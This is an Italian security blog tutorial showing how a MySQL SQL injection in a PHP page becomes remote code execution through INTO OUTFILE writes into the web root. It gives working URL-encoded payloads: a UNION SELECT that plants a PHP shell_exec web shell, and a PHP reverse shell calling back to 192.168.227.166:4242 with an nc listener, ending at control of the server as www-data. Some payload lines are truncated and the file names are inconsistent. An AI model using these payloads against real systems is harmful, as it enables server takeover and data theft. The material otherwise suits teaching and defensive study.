Si può trasformare una SQL injection in una RCE? Si è possibile e vediamo come fare

Davide Cavallini : 9 Novembre 2023 07:27

Oggi parleremo di un’interessante tecnica per trasformare una Sql Injection in una Remote Command Execution.Questa tecnica può essere utilizzata anche per aprire una shell remota con il server che contiene la webapp vulnerabile.

Premetto che la tecnica funziona solo se l’utente del database ha il permesso di scrittura dei file, cosa che purtroppo spesso accade, perchè viene utilizzato l’account root. Un altro modo che può essere stato utilizzato per dare il permesso di scrivere i file all’utente è:

Vuoi diventare un Ethical Hacker?
Non perdere i nostri corsi e scrivi subito su WhatsApp al numero
375 593 1011 per richiedere informazioni dicendo che hai trovato il numero sulle pagine di Red Hot Cyber

Supporta RHC attraverso:

L'acquisto del fumetto sul Cybersecurity Awareness

Ti piacciono gli articoli di Red Hot Cyber? Non aspettare oltre, iscriviti alla newsletter settimanale per non perdere nessun articolo.

GRANT FILE ON *.* TO utente@’localhost’;

Partiamo da una webapp che all’interno contiene un parametro id non filtrato, che va ad eseguire una query. Esempio:

query("SELECT * from users where user_id=".$_GET['id']);

$rows = $result->fetch_all(MYSQLI_ASSOC);

foreach ($rows as $row) {

printf("%s (%s)\n", $row["first_name"], $row["last_name"]);

}

In questo esempio, l’app legge l’utente con lo user_id che viene passato dal parametro id con il metodo HTTP GET. Questa operazione è chiaramente deleteria dal punto di vista della sicurezza del database, perchè può consentire all’hacker di accedere a tutta una serie disclosure di informazioni.

Un esempio tipico e alla portata di tutti potrebbe essere l’utilizzo di una IDOR per cambiare l’id e prendere le informazioni di tutti gli utenti con un ciclo.

ESEMPIO:

http://localhost/vulnerable.php?id=1

http://localhost/vulnerable.php?id=2

http://localhost/vulnerable.php?id=3

http://localhost/vulnerable.php?id=eccetera

Un altro esempio ancora più brutale potrebbe sfruttare un attacco del tipo SQL Injection per andare a modificare la struttura della query.

ESEMPIO:

//Se utilizzassi questo parametro

http://localhost/vulnerable.php?id=1 OR 1

La query verrebbe modificata strutturalmente diventando:

SELECT * from users where user_id=1 OR 1

Quindi andrei a pescare tutti gli utenti, in quanto potrei prendere o l’utente con user_id=1 oppure la condizione true. Questo fa si che chiaramenti il risultato di FALSE OR TRUE, o di TRUE OR TRUE, dia sempre come risultato TRUE, seguendo le logiche della matematica booleana.

Fino a qui gli esempi sono stati semplici, ma in realtà la Sql Injection nasconde delle potenzialità anche più pericolose. Ad esempio in caso di server misconfiguration, come dicevo precedentemente, potrebbe essere utilizzata per una remote command execution, ovvero una esecuzione remota di codice da parte di un malintenzionato.

Infatti non so se ci avete mai fatto caso, ma esiste un interessante funzione per exportare il dump della tabella su file CSV. Cercando in Google “Exporting Query Results from MySQL” vi verrà certamente fuori subito una pagina che vi dirà che è possibile esportare il dump in un file con una query simile a questa:

SELECT * FROM users INTO OUTFILE ‘/tmp/users.txt’;

Fino a qui sembrerebbe tutto nella norma, ma come ben saprà chi mastica il linguaggio SQL da tempo, potrei anche fare una select e mostrare un dato a mia scelta, come una stringa o un numero, eseguendo una query simile a questa:

SELECT ‘questa è la mia stringa’;

RISULTATO:

Fino a qui ancora sembra tutto innocuo.

Ma che cosa succederebbe se andassimo ad esportare un comando php in una cartella eseguibile da remoto, come /var/www/html?

ESEMPIO:

SELECT ‘

RISULTATO:

Chiaramente anche il fatto che la cartella /var/www/html sia scrivibile, deriva da una misconfiguration riguardante i permessi di scrittura nella cartella, ovvero di chmod.

Cosa che purtroppo però è spesso sottovalutata e consentita.

Ok, quindi a questo punto abbiamo capito che con questa query è possibile scrivere un file nella cartella /var/www/html

Vediamo come fare a scriverlo utilizzando la SQL Injection.

ANDIAMO A MODIFICARE L’URL COME SEGUE

http://localhost/vulnerable.php?id=1%20INTO%20OUTFILE%20%27/var/www/html/cmd2.php%27;

e vedremo che il file cmd2.php viene creato, e contiene la riga dell’utente 1

ora andiamo a scoprire quante colonne possiede questa tabella, con la tecnica dell’union select:

http://localhost/vulnerable.php?id=1 union select 1,2,3,4,5,6,7,8

chiaramente anche il risultato dell’UNION SELECT è esportabile in un file.

ORA AL POSTO DELLA COLONNA 2 INSERIAMO IL NOSTRO COMANDO “MALEVOLO”

http://localhost/vulnerable.php?id=1%20union%20select%201,%27%3C?php%20echo%20shell_exec(%22pwd%22);%20?%3E%27,3,4,5,6,7,8%20INTO%20OUTFILE%20%27/var/www/html/cmd4.php%27;

Ora andiamo subito a vedere il frutto del nostro esperimento

Vedete che oltre a delle inutili scritte, dentro al file cmd4.php c’è effettivamente del codice php che esegue il comando pwd.

Vediamo il risultato nel browser:

Accipicchia, il codice PHP è stato eseguito, quindi la RCE è riuscita!!!

Ora andiamo a raffinare la tecnica e apriamo un terminale sul server remoto.

Prendiamo da GitHub un qualsiasi codice per aprire una reverse shell in php su server linux e sostituiamo l’ip e porta con i nostri dati

&3 2>&3”); ?>

Quindi l’url per iniettare il codice diventerà:

http://localhost/vulnerable.php?id=1%20union%20select%201,%27%3C?php%20$sock=fsockopen(%22192.168.227.166%22,4242);$proc=proc_open(%22/bin/sh%20-i%22,%20array(0=%3E$sock,%201=%3E$sock,%202=%3E$sock),$pipes);%20?%3E%27,3,4,5,6,7,8%20INTO%20OUTFILE%20%27/var/www/html/cmd11.php%27;

Ora apriamo un terminale client e con netcap apriamoci la porta 4242 in ascolto:

nc -v -n -l -p 4242

Ok, a questo punto apriamo la pagina cmd5.php nel browser e vediamo che cosa accadrà:

come potete vedere l’utente è www-data, quindi abbiamo preso il controllo remoto del server. Ora potremmo procedere alla privilege escalation.

Davide Cavallini
Davide Cavallini è un esperto sviluppatore senior specializzato in Laravel e JavaScript, con una notevole esperienza come penetration tester. La sua carriera è caratterizzata da un impegno nell'insegnamento e nella condivisione della sua conoscenza, contribuendo alla formazione di nuovi professionisti nel campo dello sviluppo software e della sicurezza informatica. La sua passione per la tecnologia lo spinge a rimanere sempre aggiornato e a esplorare nuove frontiere dell'informatica.

Si può trasformare una SQL injection in una RCE? Si è possibile e vediamo come fare

Categorie